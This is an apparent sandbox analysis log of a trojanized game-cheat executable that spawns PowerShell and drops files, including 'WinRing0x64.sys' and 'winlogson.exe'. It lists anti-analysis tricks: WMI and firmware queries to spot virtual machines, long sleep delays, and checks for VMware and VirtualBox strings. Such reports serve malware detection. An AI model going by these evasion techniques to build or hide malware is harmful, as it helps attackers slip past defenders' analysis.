Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Memory allocated: D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Memory allocated: 29D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Memory allocated: 49D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Window / User API: threadDelayed 6016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Window / User API: threadDelayed 675	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Window / User API: threadDelayed 1915	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7661	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1958	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Dropped PE file which has not been started: C:\ProgramData\Dllhost\WinRing0x64.sys			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Dropped PE file which has not been started: C:\ProgramData\Dllhost\winlogson.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe TID: 7748	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe TID: 7772	Thread sleep count: 6016 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2536	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 7228	Thread sleep count: 675 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 7228	Thread sleep count: 1915 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 7776	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe TID: 2688	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep count: 7661 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep count: 1958 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A3FCDE FindFirstFileExW,	0_2_00A3FCDE
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A3FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00A3FD8F
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A3FCDE FindFirstFileExW,	2_2_00A3FCDE
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A3FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00A3FD8F

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 1C2NX3IUVJPXMLDGP.exe.2.dr	Binary or memory string: Vmwaretrat
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: 1C2NX3IUVJPXMLDGP.exe.2.dr	Binary or memory string: vboxservice
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018457291.00000000015C8000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017332107.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1310526188.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017742790.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394069293.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2393484087.000000000158C000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018457291.00000000015C8000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017332107.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1310526188.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017742790.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394069293.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 1C2NX3IUVJPXMLDGP.exe.2.dr	Binary or memory string: Vmwareuser
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1486956523.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016824681.0000000001665000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.0000000001657000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017416574.000000000165D000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.00000000029D1000.00000004.00000800.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000000.1416561359.0000000000662000.00000002.00000001.01000000.00000008.sdmp, 1C2NX3IUVJPXMLDGP.exe.2.dr	Binary or memory string: vboxtray
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 1C2NX3IUVJPXMLDGP.exe.2.dr	Binary or memory string: Vmtoolsd
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
